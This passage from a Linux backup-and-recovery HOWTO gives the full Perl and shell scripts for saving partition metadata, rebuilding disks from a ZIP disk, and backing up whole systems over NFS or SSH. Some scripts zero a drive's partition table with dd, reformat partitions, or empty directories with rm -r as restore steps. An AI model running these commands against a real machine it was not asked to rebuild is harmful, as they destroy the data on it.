Some files, such as configuration and log files, will have changed in the normal course of things, and you should be able to mentally filter those out of the report. You can redirect the output to a file, and diff it against the one that was made at backup time (/etc/rpmVa.txt), thereby speeding up this step considerably. Emacs users should check out its diff facilities.

Now you should be up and running. It is time to test your applications, especially those that run as daemons. The more sophisticated the application, the more testing you may need to do. If you have remote users, disable them from using the system, or make it "read only" while you test it. This is especially important for databases, to prevent making any corruption or data loss worse than it already might be.

If you normally boot to X, and disabled it above, test X before you re-enable it. Re-enable it by changing that one line in /etc/inittab back to:

id:5:initdefault:

You should now be ready for rock and roll -- and some aspirin and a couch.

Prev | Home | Next
Booting tomsrtbt |  | Distribution Specific Notes


Some Advice for Disaster Recovery

Linux Complete Backup and Recovery HOWTO
Prev Next

9. Some Advice for Disaster Recovery

You should take your ZIP® disk for each computer and the printouts you made, and place them in a secure location in your shop. You should store copies of these in your off-site backup storage location. The major purpose of off-site backup storage is to enable disaster recovery, and restoring each host onto replacement hardware is a part of disaster recovery.

You should also have several tomsrtbt floppies and possibly some ZIP® drives in your off-site storage as well. Also, have copies of the tomsrtbt distribution on several of your computers so that they back each other up.

You should probably have copies of this HOWTO, with your site-specific annotations on it, with your backups and in your off-site backup storage.

Prev | Home | Next
Application Specific Notes |  | What Now?


The Scripts

Linux Complete Backup and Recovery HOWTO
Prev Next

11. The Scripts

See the notes in the beginning of each script for a summary of what it does.

11.1. First Stage

11.1.1. make.fdisk

This script, run at backup time, creates a script similar to make.dev.hda, below, for you to run at restore time. It also produces data files similar to dev.hda, below. The name of the script and data file produced depends on the device given this script as a a parameter. That script, run at restore time, builds the partitions on the hard drive. make.fdisk is called from save.metadata, below.

#! /usr/bin/perl

# A perl script to create a script and input file for fdisk to
# re-create the partitions on the hard disk, and format the Linux and
# Linux swap partitions. The first parameter is the fully qualified
# path of the device of the hard disk, e.g. /dev/hda. The two
# resulting files are the script make.dev.x and the data file dev.x
# (where x is the hard drive described, e.g. hda, sdc). make.dev.x is
# run at restore time to rebuild hard drive x, prior to running
# restore.metadata. dev.x is the input file for fdisk.

# Time-stamp: <2001-12-13 15:41:24 ccurley make.fdisk>

# Copyright 2001 through the last date of modification Charles Curley
# except for the subroutine cut2fmt.

# cut2fmt Copyright (c) 1998 Tom Christiansen, Nathan Torkington and
# O'Reilly & Associates, Inc.  Permission is granted to use this code
# freely EXCEPT for book publication.  You may use this code for book
# publication only with the explicit permission of O'Reilly &
# Associates, Inc.

# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.

# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.

# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

# In addition, as a special exception, Tom Christiansen, Nathan
# Torkington and O'Reilly & Associates, Inc.  give permission to use
# the code of this program with the subroutine cut2fmt (or with
# modified versions of the subroutine cut2fmt that use the same
# license as the subroutine cut2fmt), and distribute linked
# combinations including the two.  You must obey the GNU General
# Public License in all respects for all of the code used other than
# the subroutine cut2fmt.  If you modify this file, you may extend
# this exception to your version of the file, but you are not
# obligated to do so.  If you do not wish to do so, delete this
# exception statement and the subroutine cut2fmt from your version.

# You can also contact the Free Software Foundation at http://www.fsf.org/

# Changes:

# 2001 11 25: Changed the way mke2fs gets its bad block
# list. badblocks does not guess at the block size, so you have to get
# it (from dumpe2fs) and feed it to badblocks. It is simpler to just
# have mke2fs call badblocks, but you do loose the ability to have a
# writing test easily. -- C^2

# 2001 11 25: Changed the regex that extracts partition labels from
# the mount command. This change does not affect the results at all,
# it just makes it possible to use Emacs' perl mode to indent
# correctly. I just escaped the left bracket in the regex. -- C^2

# Discussion:

# fdisk will spit out a file of the form below if you run it as "fdisk
# -l".

# root@tester ~/bin $ fdisk -l /dev/hda

# Disk /dev/hda: 64 heads, 63 sectors, 1023 cylinders
# Units = cylinders of 4032 * 512 bytes

#    Device Boot    Start       End    Blocks   Id  System
# /dev/hda1             1         9     18112+  83  Linux
# /dev/hda2            10      1023   2044224    5  Extended
# /dev/hda5            10       368    723712+  83  Linux
# /dev/hda6           369       727    723712+  83  Linux
# /dev/hda7           728       858    264064+  83  Linux
# /dev/hda8           859       989    264064+  83  Linux
# /dev/hda9           990      1022     66496+  82  Linux swap

# What fdisk does not do is provide output suitable for later
# importing into fdisk, a la sfdisk. This script parses the output
# from fdisk and creates an input file for fdisk. Use the input file
# like so:

# fdisk /dev/hdx < dev.hdx

# For the bare metal restore package, this script also builds a script
# that will execute the above command so you can run it from your zip
# disk. Because the bare metal restore scripts all are in /root/bin,
# the data file and script created by this script are also placed
# there. The same script also creates appropriate Linux file systems,
# either ext2fs, or Linux swap. There is limited support for FAT12 and
# FAT16. There is no support right now (hint, hint) for FAT32. For
# anything else, you're on your own.

# Note for FAT32: According to the MS KB, there are more than one
# reserved sectors for FAT32, usually 32, but it can vary. Do a search
# in M$'s KB for "boot sector" or BPB for the gory details. For more
# info than you really need on how boot sectors are used, see
# http://support.microsoft.com/support/kb/articles/Q140/4/18.asp

# You can also edit dev.x to change the sizes of partitions. Don't
# forget, if you change the size of a FAT partition across the 32MB
# boundary, you need to change the type as well! Run "fdisk /dev/hda"
# or some such, then the l command to see the available partition
# types. Then go ahead and edit dev.x appropriately. Also, when moving
# partition boundarys with hand edits, make sure you move both logical
# and extended partition boundaries appropriately.

# Bad block checking right now is a quick read of the partition. A
# writing check is also possible but more difficult. You have to run
# badblocks as a separate command, and pass the bad block list to
# mke2fs in a file (in /tmp, which is a ram disk). You also have to
# know how large the blocks are, which you learn by running
# dumpe2fs. It gets messy and I haven't done it yet. You probably
# don't need it for a new hard drive, but if you have had a hard drive
# crash on you and you are reusing it (while you are waiting for its
# replacement to come in, I presume), then I highly recommend it. Let
# me know how you do it.

# For more information contact the author, Charles Curley, at
# http://w3.trib.com/~ccurley/.

# cut2fmt figures out the format string for the unpack function we use
# to slice and dice the output from fdisk. From Christiansen and
# Torkington, Perl Cookbook 5.

sub cut2fmt {
    my (@positions) = @_;
    my $template    = '';
    my $lastpos     = 1;

    foreach $place (@positions) {
    $template .= "A" . ($place - $lastpos) . " ";
    $lastpos = $place;
    }

    $template .= "A*";
    return $template;
}

# Provide a default device.

if ( $ARGV[0] == "" ) {
    $device="/dev/hda";
} else {
    $device=$ARGV[0];
}

# print "Device is $device.\n";

# prepare format string.
$fmt = cut2fmt (11, 19, 24, 34, 45, 49);
# print "Format string is $fmt.\n\n";

# define fields in the array @_.
$dev = 0;
$bootable = 1;
$firstcyl = 2;
$lastcyl = 3;
$parttype = 5;
$partstring = 6;

$target = "\/target";

$outputfilename = $device;
$outputfilename =~ s/\//./g;
$outputfilename = substr ($outputfilename, 1, 100);

$outputfilepath = "\/root\/bin\/";

# Make a hash of the labels.
$mpid = open (MOUNT, "mount -l |") or die "Couldn't fork: $!\n";
while (<MOUNT>) {
    if ($_ =~ /^$device/i) {	# is this a line with a partition in it?
#     	print $_;		# print it just for grins
    split;
    if ($_[6] ne "") {	# only process if there actually is a label
        $_[6] =~ s/[\[\]]//g; # strike [ and ].
        $labels{$_[0]} = $_[6];
#	    print "The label of file device $_[0] is $labels{$_[0]}.\n";
    }

    # We only mount if it's ext2fs and read and write.

    if ($_[4] eq "ext2" and $_[5] eq "(rw)" ) {
            $mountpoints{$_[2]} = $_[0];
#           print "$_[2] is the mountpoint for $mountpoints{$_[2]}.\n";
    }
    }
}
close (MOUNT);

$fpid = open (FDISK, "fdisk -l $device |") or die "Couldn't fork: $!\n";

open (OUTPUT, "> $outputfilepath${outputfilename}")
    or die "Couldn't open output file $outputfilepath${outputfilename}.\n";

while (<FDISK>) {
    if ($_ =~ /^$device/i) {	# is this a line with a partition in it?
#   	print $_;		# print it just for grins
    chop;			# kill trailing \r
    @_ = unpack ($fmt, $_);

    # now strip white spaces from cylinder numbers
    @_[$firstcyl] =~ s/[ \t]+//;
    @_[$lastcyl] =~ s/[ \t]+//;
    @_[$parttype] =~ s/[ \t]+//;

    $partnumber = substr(@_[$dev], 8, 10); # get partition number for this line
    # just for grins
#  	print "  $partnumber, @_[$firstcyl], @_[$lastcyl], @_[$partstring]\n";

    # Here we start creating the input to recreate the partition
    # this line represents.

    print OUTPUT "n\n";
    if ($partnumber < 5) {
        # primary Linux partition
        if (@_[$parttype] == 83) {
        print OUTPUT "p\n$partnumber\n@_[$firstcyl]\n";
        if (@_[$firstcyl] ne @_[$lastcyl]) { # in case it's all on one cylinder
            print OUTPUT "@_[$lastcyl]\n";
        }

        if ($labels{@_[$dev]}) { # do we have a label?
                    # no bad block check
#  		    $format .= "mke2fs @_[$dev] -L $labels{@_[$dev]}\n";
            $format .= "echo\necho formatting and checking @_[$dev]\n";
            $format .= "mke2fs -c -L $labels{@_[$dev]} @_[$dev]\n\n";
        } else {
#  		    $format .= "mke2fs @_[$dev]\n";	# no bad block check
            $format .= "echo\necho formatting and checking @_[$dev]\n";
            $format .= "mke2fs -c @_[$dev]\n\n";
        }

        # extended partition
        } elsif (@_[$parttype] == 5) {
        print OUTPUT "e\n$partnumber\n@_[$firstcyl]\n";
        if (@_[$firstcyl] ne @_[$lastcyl]) {
            print OUTPUT "@_[$lastcyl]\n";
        }

        # primary Linux swap partition
        } elsif (@_[$parttype] == 82) {
        print OUTPUT "p\n$partnumber\n@_[$firstcyl]\n";
        if (@_[$firstcyl] ne @_[$lastcyl]) {
            print OUTPUT "@_[$lastcyl]\n";
        }
        print OUTPUT "t\n$partnumber\n82\n";
        $format .= "mkswap -c @_[$dev]\n\n";

        # primary mess-dos partition. We don't handle FAT32,
        # which requires a command line switch for mkdosfs.
        } elsif ( @_[$parttype] == 1 || @_[$parttype] == 4 || @_[$parttype] == 6 ) {
        print ("dd if=@_[$dev] of=$outputfilepath$outputfilename$partnumber");
        print (" bs=512 count=1\n");
        system ("dd if=@_[$dev] of=$outputfilepath$outputfilename$partnumber bs=512 count=1");
        print OUTPUT "p\n$partnumber\n@_[$firstcyl]\n";
        if (@_[$firstcyl] ne @_[$lastcyl]) { # in case it's all on one cylinder
            print OUTPUT "@_[$lastcyl]\n";
        }
        print OUTPUT "t\n$partnumber\n@_[$parttype]\n";
#		$format .= "mkdosfs @_[$dev]\n";	# no bad block check
        $format .= "echo\necho formatting and checking @_[$dev]\n";
        $format .= "mkdosfs -c @_[$dev]\n";
        $format .= "# restore FAT boot sector.\n";
        $format .= "dd if=$outputfilename$partnumber of=@_[$dev] bs=512 count=1\n\n";

        } else {
        # anything else partition
        print OUTPUT "p\n@_[$firstcyl]\n";
        if (@_[$firstcyl] ne @_[$lastcyl]) {
            print OUTPUT "@_[$lastcyl]\n";
        }
        print OUTPUT "t\n$partnumber\n@_[$parttype]\n";
        }

    } else {
        # logical Linux partition
        if (@_[$parttype] == 83) {
        print OUTPUT "l\n@_[$firstcyl]\n";
        if (@_[$firstcyl] ne @_[$lastcyl]) {
            print OUTPUT "@_[$lastcyl]\n";
        }

        if ($labels{@_[$dev]}) { # do we have a label?
            # no bad block check
#  		    $format .= "mke2fs @_[$dev] -L $labels{@_[$dev]}\n";
            $format .= "echo\necho formatting and checking @_[$dev]\n";
            $format .= "mke2fs -c -L $labels{@_[$dev]} @_[$dev]\n\n";
        } else {
#  		    $format .= "mke2fs @_[$dev]\n";	# no bad block check
            $format .= "echo\necho formatting and checking @_[$dev]\n";
            $format .= "mke2fs -c @_[$dev]\n\n";
        }

        # logical Linux swap partition
        } elsif (@_[$parttype] == 82 ) {
        print OUTPUT "l\n@_[$firstcyl]\n";
        if (@_[$firstcyl] ne @_[$lastcyl]) {
            print OUTPUT "@_[$lastcyl]\n";
        }
        print OUTPUT "t\n$partnumber\n82\n";
        $format .= "mkswap -c @_[$dev]\n\n";

        # primary mess-dos partition. We don't handle FAT32,
        # which requires a command line switch for mkdosfs.
        } elsif ( @_[$parttype] == 1 || @_[$parttype] == 4 || @_[$parttype] == 6 ) {
        print ("dd if=@_[$dev] of=$outputfilepath$outputfilename$partnumber");
        print (" bs=512 count=1\n");
        system ("dd if=@_[$dev] of=$outputfilepath$outputfilename$partnumber bs=512 count=1");
        print OUTPUT "p\n$partnumber\n@_[$firstcyl]\n";
        if (@_[$firstcyl] ne @_[$lastcyl]) { # in case it's all on one cylinder
            print OUTPUT "@_[$lastcyl]\n";
        }
        print OUTPUT "t\n$partnumber\n@_[$parttype]\n";
#		$format .= "mkdosfs @_[$dev]\n";	# no bad block check
        $format .= "echo\necho formatting and checking @_[$dev]\n";
        $format .= "mkdosfs -c @_[$dev]\n";
        $format .= "# restore FAT boot sector.\n";
        $format .= "dd if=$outputfilename$partnumber of=@_[$dev] bs=512 count=1\n\n";

        } else {
        # anything else partition
        print OUTPUT "l\n@_[$firstcyl]\n";
        if (@_[$firstcyl] ne @_[$lastcyl]) {
            print OUTPUT "@_[$lastcyl]\n";
        }
        print OUTPUT "t\n$partnumber\n@_[$parttype]\n";
        }

    }

    # handle bootable partitions
    if (@_[$bootable] =~ /\*/) {
        print OUTPUT "a\n$partnumber\n";
    }
    }
}

print OUTPUT "v\nw\n";

close (OUTPUT);
close (FDISK);

open (OUTPUT, "> ${outputfilepath}make.$outputfilename")
    or die "Couldn't open output file ${outputfilepath}make.$outputfilename.\n";

print OUTPUT <<FINIS;
#! /bin/sh

# A script to restore the partition data of a hard drive and format
# the partitions. Created at bare metal backup time by the Perl script
# make.fdisk.

# Copyright 2001 through the last date of modification Charles Curley.

# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.

# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.

# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

# You can also contact the Free Software Foundation at http://www.fsf.org/

# For more information contact the author, Charles Curley, at
# http://w3.trib.com/~ccurley/.

FINIS

# Clean the old partition table out.
print OUTPUT "dd if=/dev/zero of=$device bs=512 count=2\n\nsync\n\n";

print OUTPUT "fdisk $device \< $outputfilename\n\nsync\n\n";
print OUTPUT $format;

# Now build the mount points on the root and other partitions.

# We have a hash of mount points and devices in %mountpoints. However,
# we have to process them such that directories are built on the
# appropriate target partition. E.g. where /usr/local is on its own
# partition, we have to mount /usr before we build /usr/local. We can
# ensure this by sorting them. Shorter mount point paths will be built
# first. We can't sort a hash directly, so we use an array.

# We build commands to create the appropriate mount points and then
# mount the partitions to the mount points. This is in preparation for
# untarring the contents of the ZIP disk, done in restore.metadata.

foreach $point ( sort keys %mountpoints) {
    print OUTPUT "\n# $point is the mountpoint for $mountpoints{$point}.\n";
    print OUTPUT "mkdir $target$point\n";
    print OUTPUT "mount $mountpoints{$point} $target$point\n";
}

close (OUTPUT);

# These scripts are dangerous & should only be visible to root.

chmod 0700, "${outputfilepath}make.$outputfilename";
chmod 0600, "${outputfilepath}$outputfilename";

11.1.2. make.dev.hda

This script is a sample of the sort produced by make.fdisk, above. It uses data files like dev.hda, below. It builds partitions and puts file systems on some of them. This is the first script run at restore time.

If you are brave enough to edit dev.hda (q.v.), say, to add a new partition, you may need to edit this script as well.

#! /bin/sh

# A script to restore the partition data of a hard drive and format
# the partitions. Created at bare metal backup time by the Perl script
# make.fdisk.

# Copyright 2001 through the last date of modification Charles Curley.

# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.

# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.

# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

# You can also contact the Free Software Foundation at http://www.fsf.org/

# For more information contact the author, Charles Curley, at
# http://w3.trib.com/~ccurley/.

dd if=/dev/zero of=/dev/hda bs=512 count=2

sync

fdisk /dev/hda < dev.hda

sync

echo
echo formatting and checking /dev/hda1
mkdosfs -c /dev/hda1
# restore FAT boot sector.
dd if=dev.hda1 of=/dev/hda1 bs=512 count=1

echo
echo formatting and checking /dev/hda2
badblocks -c 128 -o /tmp/dev.hda2 /dev/hda2
mke2fs -L /boot -l /tmp/dev.hda2 /dev/hda2

echo
echo formatting and checking /dev/hda5
badblocks -c 128 -o /tmp/dev.hda5 /dev/hda5
mke2fs -L / -l /tmp/dev.hda5 /dev/hda5

mkswap -c /dev/hda6

# / is the mountpoint for /dev/hda5.
mkdir /target/
mount /dev/hda5 /target/

# /boot is the mountpoint for /dev/hda2.
mkdir /target/boot
mount /dev/hda2 /target/boot

11.1.3. dev.hda

This data file is used at restore time. It is fed to fdisk by the script make.dev.hda. It is produced at backup time by make.fdisk. Those familiar with fdisk will recognize that each line is an fdisk command or value, such as a cylinder number. Thus, it is possible to change the partition sizes and add new partitions by editing this file. That's why the penultimate command is v, to verify the partition table before it is written.

n
p
1
1
29
t
1
6
a
1
n
p
2
30
44
n
e
3
45
1023
n
l
45
944
n
l
945
1023
t
6
82
v
w

11.1.4. save.metadata

This is the first script to run as part of the backup process. It calls make.fdisk, above. If you have a SCSI hard drive or multiple hard drives to back up, edit the call to make.fdisk appropriately.

#! /bin/sh

# A script to save certain meta-data off to the boot partition. Useful for
# restoration.

# Time-stamp: <2001-11-19 09:18:52 ccurley save.metadata>

# Copyright 2000 through the last date of modification, Charles Curley.

# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.

# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.

# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

# You can also contact the Free Software Foundation at http://www.fsf.org/

# For more information contact the author, Charles Curley, at
# http://w3.trib.com/~ccurley/.

export zip="/mnt/zip";
#  export save="/mnt/save";

echo "saving hard drive info"
make.fdisk /dev/hda

# back up RPM metadata

echo "Verifying RPMs."

rpm -Va > /etc/rpmVa.txt

echo "Finished verifying RPMs; now mounting the ZIP drive."

umount $zip

modprobe ppa

mount /dev/sda1

# clean it all out
rm -r $zip/*

echo "Building the ZIP drive backups."

mkdir $zip/lost+found

fdisk -l /dev/hda > $zip/fdisk.hda

ls -al /mnt > $zip/ls.mnt.txt
ls -al / > $zip/ls.root.txt

mkdir $zip/etc;
cp -p /etc/* $zip/etc

cd /

# These appear to be required so we can restore later on.

tar cf - boot     | gzip -c > $zip/boot.tar.gz
tar cf - root     | gzip -c > $zip/root.tar.gz
tar cf - etc      | gzip -c > $zip/etc.tar.gz
tar cf - lib      | gzip -c > $zip/lib.tar.gz

tar cf - usr/sbin | gzip -c > $zip/usr.sbin.tar.gz
tar cf - usr/bin  | gzip -c > $zip/usr.bin.tar.gz
tar cf - sbin     | gzip -c > $zip/sbin.tar.gz
tar cf - bin      | gzip -c > $zip/bin.tar.gz
tar cf - dev      | gzip -c > $zip/dev.tar.gz

# Now optional saves.

# arkeia specific:
tar cf - usr/knox | gzip -c > $zip/arkeia.tar.gz

# save these so we can use ssh for restore. *crack* for RH 7.0 login
# authentication.
tar cf - usr/lib/*crack* usr/lib/libz* usr/lib/libssl* usr/lib/libcrypto*\
    | gzip -c > $zip/usr.lib.tar.gz

# save the scripts we used to create the zip disk and the ones we will
# use to restore it.
mkdir $zip/root.bin
cp -p /root/bin/* $zip/root.bin
rm $zip/root.bin/*~ $zip/root.bin/#*#

echo "Test our results."
find $zip -iname "*.gz" | xargs gzip -t

# Not a normal part of the process: we duplicate the ZIP disk onto an
# NFS mount elsewhere.

#  echo "Backing the ZIP drive to the NFS mount."

#  umount $save
#  mount $save

#  rm -r $save/zip
#  mkdir $save/zip
#  cp -pr $zip $save

df -m
eject $zip

11.1.5. restore.metadata

This script restores metadata from the ZIP® disk as a first stage restore.

#! /bin/sh

# A script to restore the meta-data from the ZIP disk. This runs under
# tomsrtbt only after partitions have been rebuilt, file systems made,
# and mounted. It also assumes the ZIP disk has already been
# mounted. Mounting the ZIP disk read only is probably a good idea.

# Time-stamp: <2001-11-19 09:21:51 ccurley restore.metadata>

# Copyright 2000 through the last date of modification Charles Curley.

# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.

# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.

# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

# You can also contact the Free Software Foundation at http://www.fsf.org/

# For more information contact the author, Charles Curley, at
# http://w3.trib.com/~ccurley/.

zip="/mnt";
target="/target";

# warm fuzzies for the user.
ls -lt $zip

cd $target

# restore the archived metadata files.
for archive in $( ls $zip/*.gz ); do
echo $archive
ls -al $archive
gzip -dc $archive | tar -xf -
done

mkdir $target/proc
chmod a-w $target/proc

# build a mount point directory so we'll have it on reboot.
mkdir $target/mnt

# Build the mount points for our second stage restoration and other
# things.
mkdir $target/mnt/save
mkdir $target/mnt/zip
mkdir $target/mnt/cdrom
mkdir $target/mnt/floppy
mkdir $target/mnt/imports

# Restore the scripts we used to create the ZIP disk and the ones we will
# use to restore it. These should be the latest & greatest in case we had
# to do any editing during 1st stage restore.
cp -p $zip/root.bin/* $target/root/bin

# Now install the boot sector.
chroot $target /sbin/lilo -C /etc/lilo.conf

df -m

11.2. Second Stage

These scripts run on the computer being backed up or restored.

11.2.1. back.up.all

This script saves to another computer via an NFS mount. You can adapt it to save to tape drives or other media.

#! /bin/sh

# Back up the entire system to another computer's drive. To make this
# work, we need a convenient chunk of disk space on the remote computer we
# can nfs mount as /mnt/save.

# Time-stamp: <2001-11-19 09:19:35 ccurley back.up.all>

# Copyright 2000 through the last date of modification Charles Curley.

# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.

# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.

# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

# You can also contact the Free Software Foundation at http://www.fsf.org/

# For more information contact the author, Charles Curley, at
# http://w3.trib.com/~ccurley/.

save="/mnt/save"

# Make sure it's there
umount $save
mount $save

cd /

rm $save/tester.tar.old.gz
mv $save/tester.tar.gz $save/tester.tar.old.gz

# save everything except /mnt, /proc, and nfs mounted directories.

time tar cf - / --exclude /mnt --exclude /proc --exclude $save\
    | gzip -c > $save/tester.tar.gz

11.2.2. back.up.all.ssh

This script does exactly what back.up.all does, but it uses SSH instead of nfs.

#! /bin/sh

# Back up the entire system to another computer's drive. To make this
# work, we need a convenient chunk of disk space on the remote
# computer. This version uses ssh to do its transfer, and compresses
# using bz2. This means this script has to know more about the other
# computer, which does not make for good modularization.

# Time-stamp: <2001-11-19 09:19:48 ccurley back.up.all.ssh>

# Copyright 2000 through the last date of modification Charles Curley.

# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.

# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.

# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

# You can also contact the Free Software Foundation at http://www.fsf.org/

# For more information contact the author, Charles Curley, at
# http://w3.trib.com/~ccurley/.

save="/backs/tester"
backup_server="charlesc"

# rotate the old backups. Do it all in one line to minimze authentication overhead.
ssh $backup_server "rm $save/tester.tar.old.bz2; mv $save/tester.tar.bz2 \
    $save/tester.tar.old.bz2"

# save everything except /mnt, /proc, and squid directories.

time tar cf - / --exclude /mnt --exclude /proc --exclude /var/spool/squid\
    | ssh $backup_server "bzip2 -9 > $save/tester.tar.bz2"

11.2.3. restore.all

This is the restore script to use if you backed up using back.up.all.

#! /bin/sh

# A script to restore all of the data from an nfs mount. This is our final
# stage restore.

# Time-stamp: <2001-11-19 09:21:22 ccurley restore.all>

# Copyright 2000 through the last date of modification Charles Curley.

# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.

# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.

# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

# You can also contact the Free Software Foundation at http://www.fsf.org/

# For more information contact the author, Charles Curley, at
# http://w3.trib.com/~ccurley/.

export save="/mnt/save"

mount $save

cd /
gunzip -dc $save/tester.tar.gz | tar -xpkf -

rm /var/run/*.pid

lilo

11.2.4. restore.all.ssh

This is the restoration script to use if you used back.up.all.ssh to back up.

#! /bin/sh

# A script to restore all of the data using ssh and bunzip2. This is
# our final stage restore.

# Copyright 2000 through the last date of modification Charles Curley.

# Time-stamp: <2001-11-19 09:21:33 ccurley restore.all.ssh>

# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.

# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.

# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

# You can also contact the Free Software Foundation at http://www.fsf.org/

# For more information contact the author, Charles Curley, at
# http://w3.trib.com/~ccurley/.

save="/backs/tester/"
backup_server="charlesc"

cd /

ssh $backup_server "cat $save/tester.tar.bz2" | bunzip2 | tar -xpkf -

rm /var/run/*.pid

lilo

11.3. Backup Server Scripts

The SSH scripts above have a possible security problem. If you run them on a firewall, the firewall has to have access via SSH to the backup server. In that case, a clever cracker might also be able to crack the backup server. It would be more secure to run backup and restore scripts on the backup server, and let the backup server have access to the firewall. That is what these scripts are for. Rename them to get.x and restore.x where x is the name of the target computer. Edit them (the variable $target's initialization) to use the target computer's host name, or rewrite them to use a command line argument.

These scripts backup and restore the target completely, not just the stage one backup and restore. Also, note that get.tester backs up the ZIP® disk as well, in case you need to replace a faulty ZIP disk.

I use these scripts routinely.

11.3.1. get.tester

#! /bin/sh

# Back up another computer's drive to this system. To make this work, we
# need a convenient chunk of disk space on this computer. This version
# uses ssh to do its transfer, and compresses using bz2. This version was
# developed so that the system to be backed up won't be authenticated to
# log onto the backup computer. This script is intended to be used on a
# firewall. You don't want the firewall to be authenticated to the backup
# system in case the firewall is cracked.

# Time-stamp: <2001-11-19 09:20:06 ccurley get.tester>

# Copyright 2000 through the last date of modification Charles Curley.

# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.

# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.

# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

# You can also contact the Free Software Foundation at http://www.fsf.org/

# For more information contact the author, Charles Curley, at
# http://w3.trib.com/~ccurley/.

# The host name of the computer to be backed up.

target=tester

echo Backing up $target

echo Aging the ZIP disk backups.

rm -r $target.oldzip

mv $target.zip $target.oldzip

ssh $target "modprobe ppa ; mount -r /mnt/zip"

echo Copying the ZIP disk.

# -r for recursive copy, -p to preserve times and permissions, -q for
# -quiet: no progress meter.

scp -qpr $target:/mnt/zip $target.zip

echo Testing the results.
find . -iname "*.gz"  | xargs gunzip -t

ssh $target "eject $zip"

echo Aging the archives

rm $target.tar.old.bz2

mv $target.tar.bz2 $target.tar.old.bz2

echo Backing up $target to the backup server.

ssh $target tar -cf - / --exclude /mnt --exclude /proc --exclude /var/spool/squid\
    | bzip2 -9 | cat > $target.tar.bz2

echo Testing the results.
find . -iname "*.bz2" | xargs bunzip2 -t

11.3.2. restore.tester

#! /bin/sh

# A script to restore all of the data to tester via ssh. This is our final
# stage restore.

# Time-stamp: <2001-11-19 09:22:01 ccurley restore.tester>

# Copyright 2000 through the last date of modification Charles Curley.

# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.

# This program is distributed in the hope that it will be useful, but
